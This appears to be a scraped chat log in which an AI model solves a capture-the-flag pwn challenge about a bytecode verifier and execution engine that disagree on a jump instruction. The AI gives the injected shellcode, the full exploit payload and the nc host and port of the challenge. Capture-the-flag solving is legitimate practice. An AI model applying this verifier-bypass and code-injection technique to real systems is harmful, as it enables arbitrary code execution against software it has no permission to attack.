pwn challenge for you During Bangladesh's Liberati...
Criado em: 20 de julho de 2026
Respondido usando GPT-5.6 Thinking por Chat01
Criado em: 20 de julho de 2026
Respondido usando GPT-5.6 Thinking por Chat01
pwn challenge for you During Bangladesh's Liberation War, field operatives relied on coded transmissions to coordinate their resistance against the Pakistani military.
A recovered communication terminal still accepts operational orders and verifies every transmission before execution.
The verification unit and the field engine may not agree on the route.
Flag Format : BDSEC{s0mething_here} Connection Info
nc 45.56.67.129 53916
Solved the vulnerability, but the remote endpoint is currently refusing connections, so I could not retrieve the live flag.
The bytecode verifier and execution engine interpret ROUTE differently:
jmp rel32.A SIGNAL instruction embeds eight raw bytes in generated executable memory. Normally the engine jumps over them, but ROUTE 0xf3 becomes a jump of -13, landing inside those bytes.
Embedded code:
asmmov eax, 0x401bb0 ; hidden freedom/flag function call rax ret
The full transmission is:
pythonpayload = ( b"\x20" + bytes.fromhex("b8b01b4000ffd0c3") + b"\x30\xf3" + b"\x10" * 243 + b"\x40" )
It passed verification and printed BDSEC{local_test_flag} against a local flag.txt, confirming the exploit.
The service returned:
textconnect to 45.56.67.129 port 53916 failed: Connection refused
Run it after the instance is restarted:
bashpython3 solve_muktir_shongket.py 45.56.67.129 53916